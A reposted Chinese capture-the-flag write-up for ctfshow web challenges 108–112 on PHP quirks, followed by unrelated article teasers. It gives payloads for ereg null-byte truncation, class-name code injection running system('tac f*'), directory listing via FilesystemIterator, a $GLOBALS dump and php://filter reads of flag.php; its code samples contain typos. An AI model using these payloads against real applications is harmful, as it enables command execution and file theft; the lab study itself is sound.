ctfshow web入门 php特性 web108-web112

news2024/9/24 19:21:55

1.web108

在这里插入图片描述
strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?> 

ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
payload:

c=a%00778

2.web108

在这里插入图片描述
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

class a{
public $b;
public function __constrcut($a){
	$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa

echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
payload:

v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')

3.web119

在这里插入图片描述
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
payload:

v1=FilesystemIterator&v2=getcwd

4.web111

在这里插入图片描述
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值

$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #会输出$a,$b的值等

payload:

v1=ctfshow&v2=GLOBALS

5.web112

在这里插入图片描述
考查的是php伪协议,没想到
payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

参考文章:
php特性

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/930656.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【微服务】06-安全问题

文章目录 1.反跨站请求伪造1.1 攻击过程1.2 攻击核心1.3 如何防御1.4 使用AntiforgeryToken机制来防御用到的类 2. 防开发重定向共计2.1 攻击过程2.2 攻击核心2.3 防范措施 3.防跨站脚本3.1 攻击过程3.2 防范措施 4.跨域请求4.1 同源与跨域4.2 CORS过程4.2 CORS是什么4.3 CORS请…

解决问题的步骤

得到曲铠的课程学习。 个人感觉前面几节如明确和理解问题&#xff0c;拆分问题&#xff0c;挺好的。 后面就是水分很大&#xff0c;感觉有点烂尾了。 拆分和定期问题&#xff0c;这个指导意义还是很大的。 本质上思路还是有很多学习的地方&#xff0c;更加明确了&#xff0…

nodejs+vue+elementui健身房教练预约管理系统nt5mp

运用新技术&#xff0c;构建了以vue.js为基础的私人健身和教练预约管理信息化管理体系。根据需求分析结果进行了系统的设计&#xff0c;并将其划分为管理员&#xff0c;教练和用户三种角色&#xff1a;主要功能包括首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;教…

Tomcat和Servlet基础知识的讲解(JavaEE初阶系列16)

目录 前言&#xff1a; 1.Tomcat 1.1Tomcat是什么 1.2下载安装 2.Servlet 2.1什么是Servlet 2.2使用Servlet来编写一个“hello world” 1.2.1创建项目&#xff08;Maven&#xff09; 1.2.2引入依赖&#xff08;Servlet&#xff09; 1.2.3创建目录&#xff08;webapp&a…

java-线程之间共享数据

1. 如何在两个线程之间共享数据 Java 里面进行多线程通信的主要方式就是共享内存的方式&#xff0c;共享内存主要的关注点有两个&#xff1a;可见性和有序性原子性。Java 内存模型&#xff08;JMM&#xff09;解决了可见性和有序性的问题&#xff0c;而锁解决了原子性的问题&a…

人脸识别平台批量导入绑定设备的一种方法

因为原先平台绑定设备是通过一个界面进行人工选择绑定或一个人一个人绑定设备。如下&#xff1a; 但有时候需要在几千个里选择出几百个&#xff0c;那这种方式就不大现实了&#xff0c;需要另外一种方法。 目前相到可以通过导入批量数据进行绑定的方式。 一、前端 主要是显示…

性能测试报告-用于项目的性能验证、性能调优、发现性能缺陷等应用场景

性能测试报告 性能测试报告是一种重要的报告类型&#xff0c;旨在评估软件系统的性能、稳定性和安全性。在这篇文章中&#xff0c;我们将详细介绍性能测试报告的应用场景、测试方法和性能指标&#xff0c;以及如何撰写一份有效的性能测试报告。 一、概述 性能测试报告的目的是…

贪吃蛇是怎么实现的,循环数组的魔力

贪吃蛇是怎么实现的&#xff0c;比如有5个结点的蛇&#xff0c;1,2,3,4,5&#xff0c;1是头&#xff0c;5是尾&#xff0c;结点的坐标用(x,y)表示&#xff0c;蛇要移动x,y怎么变化&#xff1f;没有转向的时候好理解&#xff0c;如果是在水平方向直着走,所有结点的横坐标x1&…

stm32之9.中断优先级配置

主函数main.c #include <stm32f4xx.h> #include "led.h" #include "key.h"#define PAin(n) (*(volatile uint32_t *)(0x42000000 (GPIOA_BASE0x10-0x40000000)*32 (n)*4)) #define PEin(n) (*(volatile uint32_t *)(0x42000000 (GP…

Spring Cloud Alibaba-Sentinel-Sentinel入门

1 什么是Sentinel Sentinel (分布式系统的流量防卫兵) 是阿里开源的一套用于服务容错的综合性解决方案。它以流量为切入点, 从流量控制、熔断降级、系统负载保护等多个维度来保护服务的稳定性。Sentinel 具有以下特征: 丰富的应用场景&#xff1a;Sentinel 承接了阿里…

开始MySQL之路——MySQL约束概述详解

MySQL约束 create table [if not exists] 表名(字段名1 类型[(宽度)] [约束条件] [comment 字段说明],字段名2 类型[(宽度)] [约束条件] [comment 字段说明],字段名3 类型[(宽度)] [约束条件] [comment 字段说明] )[表的一些设置]; 概念 约束英文&#xff1a;constraint 约束实…

【详解】文本检测OCR模型的评价指标

关于文本检测OCR模型的评价指标 前言&#xff1a;网上关于评价标准乱七八糟的&#xff0c;有关于单词的&#xff0c;有关于段落的&#xff0c;似乎没见过谁解释一下常见论文中常用的评价指标具体是怎么计算的&#xff0c;比如DBNet&#xff0c;比如RCNN&#xff0c;这似乎好像…

6种限流实现,附代码![通俗易懂]

作者 | 磊哥 来源 | Java中文社群&#xff08;ID&#xff1a;javacn666&#xff09; 转载请联系授权&#xff08;微信ID&#xff1a;GG_Stone 限流是一种控制访问速率的策略&#xff0c;用于限制系统、服务或API接口的请求频率或数量。它的目的是为了保护系统免受过多请求的影响…

人体行走电压测试仪的特点

人体行走电压测试仪是一种用于测量人体行走时身体所受到的电压的设备。当人体行走时&#xff0c;我们身体与地面之间会形成电位差&#xff0c;这个电位差通常是很小的&#xff0c;但可能会对人体产生影响。通过使用行走电压测试仪&#xff0c;可以精确地测量这种电位差的大小。…

Leetcode-每日一题【剑指 Offer 36. 二叉搜索树与双向链表】

题目 输入一棵二叉搜索树&#xff0c;将该二叉搜索树转换成一个排序的循环双向链表。要求不能创建任何新的节点&#xff0c;只能调整树中节点指针的指向。 为了让您更好地理解问题&#xff0c;以下面的二叉搜索树为例&#xff1a; 我们希望将这个二叉搜索树转化为双向循环链表…

(mybatis与spring集合

mybatis与spring集合 一、Spring集成MyBatis1.1. pom依赖1.2. 配置文件1.3. Spring整合MyBatis1.3.1. 配置自动扫描JavaBean1.3.2. 配置数据源1.3.3. 配置session工厂1.3.4. 配置mapper扫描接口1.3.5. 配置事务管理器1.3.6. 配置AOP自动代理1.4. 测试 二、Spring集成PageHelper…

Nodejs+vue+elementui幼儿园管理系统5umt6

本课题主要研究如何用信息化技术改善传统幼儿园行业的经营和管理模式&#xff0c;简化幼儿园管理的难度&#xff0c;根据幼儿园管理实际业务需求&#xff0c;调研、分析和编写系统需求文档&#xff0c;设计编写符合企业需要的系统说明书&#xff0c;绘制数据库结构模型&#xf…

AI驱动的大数据创新:探索软件开发中的机会和挑战

文章目录 机会数据驱动的决策自动化和效率提升智能预测和优化个性化体验 挑战数据隐私与安全技术复杂性数据质量和清洗伦理和社会问题 案例&#xff1a;智能代码生成工具总结 &#x1f388;个人主页&#xff1a;程序员 小侯 &#x1f390;CSDN新晋作者 &#x1f389;欢迎 &…

SpringBoot使用@Scheduled实现定时任务

前言 Spring3.0版本之后就自带定时任务&#xff0c;提供了EnableScheduling和Scheduled这两个注解来实现定时任务的功能。 创建定时任务也变得尤为简单。 创建过程 步骤一&#xff1a;在SpringBoot的启动类上加上EnableScheduling注解&#xff0c;开启定时任务管理。 步骤二…

2023-08-26 LeetCode每日一题(汇总区间)

2023-08-26每日一题 一、题目编号 228. 汇总区间二、题目链接 点击跳转到题目位置 三、题目描述 给定一个 无重复元素 的 有序 整数数组 nums 。 返回 恰好覆盖数组中所有数字 的 最小有序 区间范围列表 。也就是说&#xff0c;nums 的每个元素都恰好被某个区间范围所覆盖…